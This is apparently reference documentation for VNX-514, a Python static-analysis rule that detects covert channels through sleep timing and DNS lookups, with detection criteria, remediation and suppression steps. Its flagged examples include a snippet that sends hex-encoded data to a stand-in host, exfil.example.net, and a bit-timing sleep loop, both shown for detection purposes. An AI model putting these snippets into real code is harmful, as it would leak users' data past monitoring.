VNX-514: Covert Channel: data encoded in sleep timing or DNS lookups

Field	Value
Rule ID	VNX-514
Severity	Low
SARIF level	note
Kind	sast
Languages	Python
CWE	CWE-514
CAPEC	CAPEC-66
ATT&CK	T1190
CWSS vector	CWSS:1.0/TI:L/AP:RU/AL:S/IC:N/FC:LT/RP:RU/RL:S/AV:L/AS:N/IN:A/SC:A/BI:L/DI:H/EX:L/EC:N/P:L
Tags	covert-channel exfiltration cwe-514
Source	internal/sast/rules/vnx-514.rego

Overview

VNX-514 maps to CWE-514: Covert Channel. A covert channel moves data through a mechanism not meant to carry it, past controls that watch the intended channels. The rule reports two concrete Python shapes:

1. Timing channel. time.sleep(), sleep() or asyncio.sleep() whose duration depends on one bit of data: the loop variable of a loop over a binary representation (format(x, '08b'), bin(x), an f-string :08b, or a variable assigned from one), or a shift-and-mask ((v >> i) & 1, v & (1 << i)) inline or assigned to a variable up to four lines above. A sleep call broken across lines is read with its two continuation lines. Hardware drivers (files importing RPi.GPIO, gpiozero, machine, board and similar) are skipped: bit-banged pulse widths are their intended protocol.
2. DNS storage channel. socket.gethostbyname(), gethostbyname_ex(), getaddrinfo() or dns.resolver.resolve()/query() (also on a resolver object) on a host name built (f-string, %, +, .format, ".".join(...)) from hex, base32, base64 or hexlify-encoded data, inline or from a variable assigned such an encoding within 10 lines above.

What Gets Flagged

for bit in format(byte, "08b"):
    time.sleep(0.4 if bit == "1" else 0.1)                # FLAGGED

chunk = data[i:i + 30].hex()
socket.gethostbyname(f"{chunk}.{i}.exfil.example.net")    # FLAGGED

What Is Not Flagged

• Random jitter and exponential backoff (time.sleep(2 ** attempt + random.uniform(0, 1))).
• Sleeps that depend on ordinary values (a priority, a retry count).
• Lookups of fixed or service host names (f"{service}.svc.cluster.local").
• The patterns in comments or string literals.

Covert channels in other media (packet timing, file metadata, other languages) are not detected.

Remediation

1. Treat the finding as possible exfiltration: identify what data reaches the channel and who added the code.
2. Remove it; send legitimate telemetry over an authenticated, logged channel.

References

• CWE-514
• MITRE ATT&CK T1048: Exfiltration Over Alternative Protocol

Suppressing this rule

Put a nosec comment on the line, or on line 1 to cover the whole file. Use the comment marker of the file’s language (#, //, -- or ;):

# nosec vnx-514
// nosec vnx-514

Or record an ignore rule: vulnetix ignore add --rule vnx-514 --reason "...". See Suppressing findings.